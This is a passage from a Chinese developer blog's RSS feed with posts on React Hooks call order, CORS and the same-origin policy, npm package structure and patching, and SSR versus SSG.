<li>React 使用一个内部的“链表”来跟踪组件中的每个 Hook 的调用。当 React 渲染组件时，Hooks 是按照定义的顺序被调用的。在后续渲染中，React 依赖这个顺序来确保同一个 Hook 对应的是之前的状态或副作用。</li>
<li>示例</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">MyComponent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>  <span class="c1">// Hook 1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="p">[</span><span class="nx">name</span><span class="p">,</span> <span class="nx">setName</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">);</span>   <span class="c1">// Hook 2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>                       <span class="c1">// Hook 3
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nb">document</span><span class="p">.</span><span class="nx">title</span> <span class="o">=</span> <span class="sb">`Count: </span><span class="si">${</span><span class="nx">count</span><span class="si">}</span><span class="sb">`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span> <span class="p">[</span><span class="nx">count</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;{</span><span class="nx">count</span><span class="p">}&lt;/</span><span class="nt">div</span><span class="p">&gt;;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>在每次渲染中，React 会按照调用顺序分配状态：</p>
<ol>
<li><code>useState(0)</code> 对应第一个状态 <code>count</code>。</li>
<li><code>useState('')</code> 对应第二个状态 <code>name</code>。</li>
<li><code>useEffect</code> 处理副作用。</li>
</ol>
<p>如果这个顺序保持一致，React 能够正确地追踪状态和副作用。</p>
</li>
<li>
<p>在条件语句中使用 Hooks的后果</p>
<ul>
<li>
<p>可能会导致 Hooks 的调用顺序在不同渲染中不一致</p>
</li>
<li>
<p>错误示例</p>
</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">MyComponent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>  <span class="c1">// Hook 1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">count</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="p">[</span><span class="nx">name</span><span class="p">,</span> <span class="nx">setName</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">);</span>  <span class="c1">// Hook 2 （条件性调用）
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>                       <span class="c1">// Hook 3
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nb">document</span><span class="p">.</span><span class="nx">title</span> <span class="o">=</span> <span class="sb">`Count: </span><span class="si">${</span><span class="nx">count</span><span class="si">}</span><span class="sb">`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span> <span class="p">[</span><span class="nx">count</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="o">&lt;</span><span class="nx">div</span><span class="o">&gt;</span><span class="p">{</span><span class="nx">count</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/div&gt;;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>如果 <code>count &gt; 0</code>，<code>name</code> 的 <code>useState</code> 会被调用。但如果 <code>count &lt;= 0</code>，该 <code>useState</code> 不会被调用。这导致：</p>
<ul>
<li>当 <code>count &gt; 0</code> 时，<code>useEffect</code> 是第三个 Hook。</li>
<li>当 <code>count &lt;= 0</code> 时，<code>useEffect</code> 是第二个 Hook。</li>
</ul>
<p>这样，React 无法知道哪个 Hook 应该关联到哪个状态，状态更新和副作用可能会错误地关联到不同的 Hook，导致不可预知的错误。</p>
</li>
<li>
<p>React 如何追踪 Hooks</p>
<ul>
<li>React 通过一个全局的“调用栈”来追踪每个组件中的 Hooks。当组件渲染时，React 会按顺序调用所有的 Hooks，并在内部记录这些调用。这样，每次渲染时，React 能够依赖这个顺序来关联状态。</li>
<li>如果在 <code>if/else</code> 中使用 Hooks，可能会导致某些 Hooks 在特定条件下被跳过，破坏这个顺序，从而导致错误的状态关联。</li>
</ul>
</li>
<li>
<p>报错提示</p>
<ul>
<li>
<blockquote>
<p>Rendered more hooks than during the previous render</p>
</blockquote>
</li>
<li>
<blockquote>
<p>Hooks can only be called inside the body of a function component.</p>
</blockquote>
</li>
</ul>
</li>
<li>
<p>参考</p>
<ul>
<li><a href="https://www.pipipi.net/28758.html"  target="_blank" rel="noopener" >为什么不能在if语句里面写hooks，HooKs链表写得清清楚楚🤣🤣🤣 - 码农之家</a></li>
<li><a href="https://zh-hans.react.dev/warnings/invalid-hook-call-warning"  target="_blank" rel="noopener" >Hook 规则 – React 中文文档</a></li>
<li><a href="https://overreacted.io/why-do-hooks-rely-on-call-order/"  target="_blank" rel="noopener" >Why Do React Hooks Rely on Call Order? — overreacted</a></li>
<li><a href="https://github.com/z-memo/interview/issues/138"  target="_blank" rel="noopener" >react hooks 的原理是什么 · Issue #138 · z-memo/interview</a></li>
</ul>
</li>
</ol>
<h3 id="hooks能实现类里面的所有生命周期吗">hooks能实现类里面的所有生命周期吗</h3>
<ul>
<li>&ldquo;Commit phase&quot;中的三个方法,Can work with DOM, run side effects, schedule updates：
<ol>
<li><code>componentDidMount</code> -&gt; the useEffect hook with the second argument of []</li>
<li><code>componentDidUpdate</code> -&gt; the useEffect hook with the second argument of [state]</li>
<li><code>componentWillUnmount</code> -&gt; <strong>return a function</strong> that runs on unmounting inside the useEffect function,例:</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">    <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Hello&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Bye&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="p">[]);</span>
</span></span></code></pre></div></li>
<li>上面的类比只是类比，不能等同，原因：
<ol>
<li>实际原理不同</li>
<li>执行时机不同</li>
</ol>
</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>跨域问题</title>
      <link>https://ds63.eu.org/2024/cors_problem/</link>
      <pubDate>Sun, 06 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/cors_problem/</guid>
      <description>blocked by CORS policy</description>
      <content:encoded><![CDATA[<h2 id="什么是同源政策">什么是同源政策?</h2>
<h3 id="定义">定义</h3>
<ul>
<li>如果两个 URL 的协议、端口（如果有指定的话）和主机都相同的话，则这两个 URL 是同源的。</li>
<li>当一个网页加载的资源（如脚本、样式表、图片等）来自于与当前页面不同的域名、协议或端口时，就称为跨域请求。</li>
</ul>
<h3 id="举例">举例：</h3>
<ul>
<li><code>http://store.company.com/dir/page.html</code> 与<code>http://store.company.com/dir2/other.html</code> 同源</li>
<li><code>http://store.company.com/dir/page.html</code> 与<code>http://news.company.com/dir/other.html</code>不同源,因为主机不同</li>
</ul>
<h3 id="参考">参考：</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy"  target="_blank" rel="noopener" >浏览器的同源策略 - Web 安全 | MDN</a></li>
</ul>
<hr>
<h2 id="为什么要有同源政策">为什么要有同源政策?</h2>
<blockquote>
<p>同源政策限制的是非同源的请求，那非同源请求会带来什么问题呢? 假设今天有一个使用者登入某一银行网站www.bank.com ，同时他刚好在使用另一个不安全的网站例如www.stolemoney.com ，如果没有同源政策的话，这个stolemoney 网站可能可以轻易地存取这个使用者在www.bank.com 里的资料。</p>
<p>浏览器的同源政策就像是最基本的一层保护机制，让不同源的网站无法存取到资源和资料。另外要注意的是，这个阻挡机制是在最后浏览器收到服务器端回应后发生的; 也就是说，就算是非同源请求，如果服务器端没有做任何阻挡、并回传结果，浏览器端其实是会成功收到回应，但因为违反同源政策，浏览器会拦截这个回应、并报错。</p>
</blockquote>
<hr>
<h2 id="跨域问题的解决">跨域问题的解决</h2>
<h3 id="三类标签">三类标签</h3>
<ul>
<li>有类个标签允许跨域加载资源
<ol>
<li><code>&lt;img src=XXX&gt;</code></li>
<li><code>&lt;link href=XXX&gt;</code></li>
<li><code>&lt;script src=XXX&gt;</code></li>
</ol>
</li>
</ul>
<h3 id="代理">代理</h3>
<ul>
<li>原理：
<ul>
<li>同源策略只受限于<strong>浏览器</strong>访问服务器，对于<strong>服务器</strong>访问服务器并没有限制的特点。中间服务器做了一个请求转发的功能</li>
</ul>
</li>
<li>实现：
<ul>
<li>Node中间件代理</li>
<li>nginx反向代理</li>
<li>vite配置代理
<ul>
<li><a href="https://zxuqian.cn/vite-proxy-config/"  target="_blank" rel="noopener" >Vite 配置代理 Proxy，避免跨域和重复编写url的问题 - 峰华前端工程师</a></li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="cors">CORS</h3>
<ul>
<li>CORS 跨源资源共享（Cross-Origin Resource Sharing）。</li>
<li>总体思路是：如果浏览器要跨域访问服务器的资源，需要获得服务器的允许</li>
<li>三种请求
<ol>
<li>简单请求
<ul>
<li>需要同时满足以下两大条件
<ol>
<li>使用下列方法之一：GET HEAD POST</li>
<li>Content-Type 的值仅限于下列三者之一：text/plain,multipart/form-data,application/x-www-form-urlencoded</li>
</ol>
</li>
</ul>
</li>
<li>需要预检的请求</li>
<li>附带身份凭证的请求</li>
</ol>
</li>
<li>服务器通过响应header<code>Access-Control-Allow-Origin</code>进行控制</li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Glossary/CORS"  target="_blank" rel="noopener" >跨源资源共享 - MDN Web 文档术语表：Web 相关术语的定义 | MDN</a></li>
</ul>
<h3 id="postmessage">postMessage</h3>
<ul>
<li>语法: <code>otherWindow.postMessage(message, targetOrigin, [transfer]);</code></li>
<li>过程
<ol>
<li>获得对另一个窗口的引用（比如 targetWindow = window.opener）</li>
<li>在窗口上调用 targetWindow.postMessage() 方法分发一个 MessageEvent 消息</li>
<li>接收消息的窗口可以根据需要自由处理此事件。</li>
<li>传递给 window.postMessage() 的参数（比如 message）将通过消息事件对象暴露给接收消息的窗口。</li>
</ol>
</li>
<li>安全问题
<ul>
<li>如果你不希望从其他网站接收 message，请不要为 message 事件添加任何事件侦听器。</li>
<li>如果你确实希望从其他网站接收 message，请始终使用 origin 和 source 属性验证发件人的身份。当你使用 postMessage 将数据发送到其他窗口时，始终指定精确的目标 origin，而不是 *。</li>
<li>当你使用 postMessage 将数据发送到其他窗口时，始终指定精确的目标 origin，而不是 *。</li>
</ul>
</li>
<li>参考: <a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage"  target="_blank" rel="noopener" >window.postMessage - Web API | MDN</a></li>
</ul>
<h3 id="websocket">websocket</h3>
<p>wip</p>
<h3 id="jsonp">JSONP</h3>
<ul>
<li>服务端</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;/app/jsonp&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">responseData</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">data</span><span class="o">:</span> <span class="p">[{</span> <span class="nx">id</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Brian&#39;</span> <span class="p">},</span> <span class="p">{</span> <span class="nx">id</span><span class="o">:</span> <span class="mi">2</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Peter&#39;</span> <span class="p">}]</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">responseDataText</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">responseData</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="nx">res</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="s1">&#39;Content-Type&#39;</span><span class="p">,</span> <span class="s1">&#39;application/text&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="sb">`jsonpCallback(</span><span class="si">${</span><span class="nx">responseDataText</span><span class="si">}</span><span class="sb">)`</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">})</span>
</span></span></code></pre></div><ul>
<li>网页端</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="kd">function</span> <span class="nx">jsonpCallback</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;jsonp response&#39;</span><span class="p">,</span> <span class="nx">response</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 任何你想對 data 執行的動作
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="err">/script&gt;</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="nx">script</span> <span class="nx">type</span><span class="o">=</span><span class="s2">&#34;text/javascript&#34;</span> <span class="nx">src</span><span class="o">=</span><span class="s2">&#34;/app/jsonp&#34;</span><span class="o">&gt;&lt;</span><span class="err">/script&gt;</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="err">/body&gt;</span>
</span></span></code></pre></div><ul>
<li>参考: <a href="https://medium.com/@brianwu1201/jsonp-with-simple-example-4711e2a07443"  target="_blank" rel="noopener" >用 JSONP 跨域 GET 簡易示範 ＆ 說明. | by Brian Hao-Yu Wu | Medium</a></li>
</ul>
<hr>
<h2 id="实际遇到过的问题1">实际遇到过的问题1</h2>
<ul>
<li>描述:
一个页面里用到了三次同一个s3生成的signed url，一次是thumbnail，另一次是preview，第三次是在image的onload后使用fetch直接去获取s3的图片,我发现这里会使用缓存，显示是（memory cache）但这样的话它似乎就丢失了cors信息，就会报错<code>blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.</code></li>
<li>代码如下</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"></code></pre></div><ul>
<li>解决方法: 将出现的两个<code>&lt;img&gt;</code>的crossOrigin都设为&quot;anonymous&quot;</li>
<li>有效的原因
<ol>
<li><strong>跨域图像加载的缓存行为</strong>：通过设置<code>crossOrigin=&quot;anonymous&quot;</code>，浏览器明确地按照跨域请求来处理这个图像，确保它从服务器获取时遵循 CORS 规范，并且缓存下来的资源携带正确的 CORS 信息。</li>
<li><strong>避免重复跨域请求错误</strong>：由于图像是通过<code>&lt;img&gt;</code>标签加载且设置了 crossOrigin，接下来的 fetch 请求可以从缓存中获取具有正确 CORS 头的信息，避免了 CORS 错误。</li>
</ol>
</li>
<li>参考
<ul>
<li><a href="https://developer.chrome.com/docs/devtools/network/reference/?utm_source=devtools#provisional-headers"  target="_blank" rel="noopener" >provisional-headers</a></li>
<li><a href="https://stackoverflow.com/questions/57136480/fetching-an-image-from-s3-bucket-is-not-working-because-of-cors"  target="_blank" rel="noopener" >javascript - Fetching an image from S3 bucket is not working because of CORS - Stack Overflow</a></li>
</ul>
</li>
</ul>
<h2 id="实际遇到过的问题2">实际遇到过的问题2</h2>
<ul>
<li>描述:
a域名的页面，使用<code>&lt;script src=&quot;https://b.com/api&quot;&gt;</code>调用了<code>&quot;https://b.com/api&quot;</code>，这时<code>&quot;https://b.com/api&quot;</code>收不到对应的cookie。</li>
<li>解决方法:
<ol>
<li>a域名引入改为<code>&lt;script src=&quot;https://b.com/api&quot; crossorigin=&quot;use-credentials&quot;&gt;&lt;/script&gt;</code></li>
<li>b.com 的响应必须返回：<code>Access-Control-Allow-Origin: https://a.com</code>,<code>Access-Control-Allow-Credentials: true</code></li>
<li>Cookie 本身要配合 SameSite 设置,<code>SameSite=None; Secure</code></li>
<li>由于Safari 和 Firefox 的默认设置仍会拦截第三方 Cookie，所以在这些浏览器上，crossorigin=&ldquo;use-credentials&rdquo; 也无能为力。</li>
</ol>
</li>
</ul>
<hr>
<h2 id="参考-1">参考：</h2>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CORS"  target="_blank" rel="noopener" >跨源资源共享（CORS） - HTTP | MDN</a></li>
<li><a href="https://www.explainthis.io/zh-hans/swe/what-is-cors"  target="_blank" rel="noopener" >CORS 是什么? 为什么要有 CORS? ｜ExplainThis</a></li>
<li><a href="https://cloud.tencent.com/developer/article/2132990"  target="_blank" rel="noopener" >你是怎样解决跨域问题的?-面试必问-腾讯云开发者社区-腾讯云</a></li>
<li><a href="https://juejin.cn/post/7211687237020155961"  target="_blank" rel="noopener" >面试官：聊聊你知道的跨域解决方案 - 掘金</a></li>
<li><a href="https://juejin.cn/post/6844903767226351623"  target="_blank" rel="noopener" >九种跨域方式实现原理（完整版） - 掘金</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>npm包——从出生到死亡</title>
      <link>https://ds63.eu.org/2024/npm_from_born_to_death/</link>
      <pubDate>Thu, 03 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/npm_from_born_to_death/</guid>
      <description>生与死</description>
      <content:encoded><![CDATA[<h2 id="npm包的结构">npm包的结构</h2>
<h3 id="packagejson"><code>package.json</code></h3>
<ul>
<li>版本
<ul>
<li>每个版本号都形如：<code>1.2.3</code>，有三部分组成，依次叫主版本号、次版本号、修订号；
<ol>
<li>当新版本无法兼容基于前一版本的代码时，则提高主版本号；</li>
<li>当新版本新增了功能和特性，但仍兼容前一版本的代码时，则提高次版本号；</li>
<li>当新版本仅仅修正了漏洞或者增强了效率，仍然兼容前一版本代码，则提高修订号；</li>
</ol>
</li>
<li><code>^</code> 兼容某个大版本。如：<code>^1.1.2</code> ，表示&gt;=1.1.2 &lt;2.0.0</li>
<li><code>~</code> 兼容某个次版本。如：<code>~1.1.2</code>，表示&gt;=1.1.2 &lt;1.2.0</li>
</ul>
</li>
<li>依赖
<ol>
<li>dependencies 生产依赖</li>
<li>devDependencies 开发依赖
<ul>
<li>只开发应用，不对外开源的话，包随意放在dependencies或devDependencies是不影响</li>
</ul>
</li>
<li>peerDependencies 同版本的依赖
<ul>
<li>例如<code>vue</code>和<code>vuex</code></li>
</ul>
</li>
<li>bundledDependencies 捆绑依赖
<ul>
<li>依赖中使用到的，但尚未发布</li>
</ul>
</li>
<li>optionalDependencies 可选依赖
<ul>
<li>非必要不使用</li>
</ul>
</li>
</ol>
</li>
<li><code>files</code>
<ul>
<li>用于描述<code>npm publish</code>后推送到 npm 服务器的文件列表</li>
</ul>
</li>
</ul>
<h3 id="package-lockjson"><code>package-lock.json</code></h3>
<ul>
<li>定义每个包的具体版本，以及包之间的层叠关系</li>
<li>需要提交到git吗?
<ul>
<li>回答: 分情况
<ul>
<li><strong>内部的应用项目</strong>: 可以保证项目中成员、运维部署成员或者是 CI 系统, 在执行 npm install后, 在不同的节点能得到完全一致的依赖安装的内容，减少bug的出现;无需计算依赖版本范围，大部分场景下能大大加速依赖安装时间</li>
<li><strong>给外部环境用的库</strong>: 在不使用 package-lock.json的情况下，就可以复用主项目已经安装的包，减少依赖重复和体积</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="src或lib"><code>src</code>或<code>lib</code></h3>
<ul>
<li>src/: 包含项目的源代码。在开发过程中，所有的 TypeScript、JavaScript、CSS 等文件会放在这里。</li>
<li>lib/:
<ul>
<li>如果有此文件夹，通常是编译后的代码，生成的文件可以是 CommonJS、ES6 模块等</li>
<li>针对模块化代码的编译输出，保持了一些开发者友好的结构和格式。</li>
</ul>
</li>
</ul>
<h3 id="dist或build"><code>dist</code>或<code>build</code></h3>
<ul>
<li>这个文件夹包含了打包或编译后的代码，通常是在使用构建工具（如 Webpack、Rollup 等）之后生成的。这个文件夹里的代码是实际发布到 npm 上的。</li>
<li>经过优化和打包处理后的生产代码</li>
</ul>
<hr>
<h2 id="npm-install背后的过程">npm install背后的过程</h2>
<ul>
<li>依赖树的构建
<ol>
<li>首先会检查下项目中是否有 package-lock.json 文件</li>
<li>存在 lock 文件的话，会判断 lock 文件和 package.json 中使用的依赖版本是否一致</li>
<li>如果一致的话就使用 lock 中的信息，反之就会使用 package.json 中的信息</li>
<li>如果没有 lock 文件的话，就会直接使用 package.json 中的信息生成依赖树。</li>
</ol>
</li>
<li>参考
<ul>
<li><a href="https://juejin.cn/post/6844904022080667661"  target="_blank" rel="noopener" >前端工程化 - 剖析npm的包管理机制现如今，前端开发的同学已经离不开 npm 这个包管理工具，其优秀的包版本管理机制承 - 掘金</a></li>
</ul>
</li>
</ul>
<h2 id="修改">修改</h2>
<h3 id="方法一">方法一</h3>
<ul>
<li>直接修改对应模块的lib代码</li>
<li>缺点:
<ul>
<li>lib中都是编译过后的代码,阅读起来不够直观-</li>
</ul>
</li>
<li>进阶: 参见<a href="https://ds63.eu.org/2024/the-use-of-patch-package/"  target="_blank" rel="noopener" >patch-package使用 | EuDs&rsquo;s Blog</a></li>
</ul>
<h3 id="方法二">方法二</h3>
<ul>
<li>拷贝源文件后进行修改,再引用</li>
<li>缺点:
<ul>
<li>代码臃肿</li>
</ul>
</li>
</ul>
<h3 id="方法三">方法三</h3>
<ul>
<li>fork一份，自己维护</li>
<li>流程:
<blockquote>
<p>还是以elemnt-ui为例,可以在官方的开源代码中fork到自己的仓库中方便维护,然后clone到本地进行相关源代码的修改
使用 npm run dist即可打出对应lib
进行本地软连接, 在本地elemnt-ui项目中使用 npm link 或者 yarn link,
在需要的项目中使用npm linkelemnt-ui,此时就可以进行相关调试
在本地element项目中使用npm login npm publish 进行发包
在需要的项目中引入发布的包,不再使用elemnt官方包,修改packjson中的包版本之后npm unlink elemnt-ui npm install重新安装依赖</p>
</blockquote>
</li>
<li>缺陷
<ul>
<li>如果你修改的是个底层包，也就是说并不是你的应用代码中直接引用的，而是你引用的npm包A所依赖的，甚至可能同时被包B依赖的，这时就比较尴尬了，你不可能再去修改A和B的源码，那就太不值当了。</li>
</ul>
</li>
<li>进阶: 使用pnpm的别名(aliases)
<ul>
<li><code>pnpm add lodash@npm:awesome-lodash</code>: 发布了一个名为awesome-lodash的新包，并使用lodash作为别名来安装它</li>
</ul>
</li>
</ul>
<hr>
<h2 id="调试">调试</h2>
<hr>
<h2 id="发布">发布</h2>
<p>wip</p>
<hr>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://juejin.cn/post/7137110113277444126"  target="_blank" rel="noopener" >详解package.json和package-lock.json - 掘金</a></li>
<li><a href="https://czkm.github.io/2023/11/13/%E5%BC%80%E6%BA%90%E7%BB%84%E4%BB%B6%E7%9A%84%E5%AE%9A%E5%88%B6%E5%8C%96%E4%BF%AE%E6%94%B9%E5%8F%8A%E4%BC%98%E5%8C%96%E8%BF%87%E7%A8%8B%E8%AE%B0%E5%BD%95/"  target="_blank" rel="noopener" >开源组件的定制化修改及优化过程记录 - 橙汁坤的博客 | czkm Blog</a></li>
<li><a href="https://www.npmjs.cn/cli/link/"  target="_blank" rel="noopener" >link | npm中文文档 | npm中文网</a></li>
<li><a href="https://mengshang918.github.io/blog/docs/%E5%B7%A5%E7%A8%8B%E5%8C%96/%E4%BE%9D%E8%B5%96%E7%AE%A1%E7%90%86/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98/5465da474f6f60291fb1a253cce06f5f/"  target="_blank" rel="noopener" >如何调试node_modules中的包 | 梦殇918</a></li>
<li>[<a href="https://www.bilibili.com/read/cv16917711/"  target="_blank" rel="noopener" >Mentor让我调试npm包 我偷偷搬了一下午代码。。。 - 哔哩哔哩</a>](<a href="https://www.bilibili.com/read/cv16917711/"  target="_blank" rel="noopener" >https://www.bilibili.com/read/cv16917711/</a>)</li>
<li><a href="https://stackoverflow.com/questions/6341088/how-can-i-debug-node-modules"  target="_blank" rel="noopener" >debugging - How can I debug node modules? - Stack Overflow</a></li>
<li><a href="https://juejin.cn/post/7033400734746066957"  target="_blank" rel="noopener" >【一库】yalc: 可能是最好的前端link调试方案（已经非常谦虚了） - 掘金</a></li>
<li><a href="https://juejin.cn/post/7275590449736597544?from=search-suggest"  target="_blank" rel="noopener" >爬坑node_modules经验分享 - 掘金</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>初识ssr</title>
      <link>https://ds63.eu.org/2024/the_first_take_of_ssr/</link>
      <pubDate>Wed, 02 Oct 2024 23:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/the_first_take_of_ssr/</guid>
      <description>你有多爱它，就有多恨它</description>
      <content:encoded><![CDATA[<h2 id="ssr和ssg的区别">ssr和ssg的区别</h2>
<h3 id="ssrserver-side-rendering">SSR（Server-Side Rendering）</h3>
<ul>
<li><strong>运行时生成页面</strong>：在用户请求页面时，服务器会动态地生成 HTML 文件并将其发送给客户端。内容在每次请求时<strong>都会</strong>在服务器端生成，因此适合需要频繁更新数据的页面。</li>
<li>过程:
<ol>
<li>用户请求页面</li>
<li>服务器端渲染：
<ul>
<li>服务器会从数据库或 API 获取需要的数据。</li>
<li>使用 JavaScript 运行框架（如 React、Vue）的组件，在服务器端生成 HTML 页面，并将获取的数据填充到模板中。</li>
</ul>
</li>
<li>返回 HTML 页面：服务器将渲染完成的 HTML 页面发送回客户端。页面加载后，用户可以立即看到内容，而无需等待所有 JavaScript 加载完成。</li>
<li>客户端水合（Hydration）：
<ul>
<li>在客户端，浏览器会下载并执行页面相关的 JavaScript。</li>
<li>前端框架接管页面，将其转变为可交互的应用，类似单页应用（SPA）的行为。</li>
</ul>
</li>
<li>进一步交互：当用户进行进一步的操作（如点击、导航等），客户端代码可以通过 API 进行数据请求和局部更新，而无需刷新整个页面。</li>
</ol>
</li>
</ul>
<h3 id="ssgstatic-site-generation">SSG（Static Site Generation）</h3>
<ul>
<li><strong>构建时生成页面</strong>：在<strong>构建阶段</strong>提前生成静态 HTML 文件，并将这些文件直接部署在 CDN 或服务器上，所有用户访问时都获取相同的静态页面。</li>
<li><strong>优点</strong>：
<ul>
<li><strong>性能极佳</strong>：静态文件可以通过 CDN 高效分发，用户的页面加载速度非常快。</li>
<li><strong>稳定性高</strong>：不需要实时依赖服务器，即使服务器出现问题，静态页面依然可以访问。</li>
<li><strong>SEO 友好</strong>：和 SSR 类似，静态 HTML 可以被搜索引擎很好地索引。</li>
</ul>
</li>
<li><strong>缺点</strong>：
<ul>
<li><strong>实时性差</strong>：由于内容在构建时生成，页面的数据更新不及时，适合更新频率较低的内容（如博客、文档等）。</li>
<li><strong>构建时间长</strong>：对于大型网站，构建所有静态页面可能需要较长的时间。</li>
</ul>
</li>
</ul>
<hr>
<h2 id="优势">优势</h2>
<ol>
<li>SEO和SMO(Social Media Optimization)</li>
<li>First meaningful paint(首屏渲染)</li>
<li>Graceful degradation（支持不支持或没有开启javascript功能浏览器）</li>
<li>实时性强：适合频繁更新内容的应用（如社交媒体、新闻网站等），因为每次请求都会生成最新的数据。</li>
</ol>
<hr>
<h2 id="劣势">劣势</h2>
<ul>
<li>额外的开发和维护成本，需要额外考虑以下几点
<ol>
<li>有没有全局mutable data，可能导致内存泄露</li>
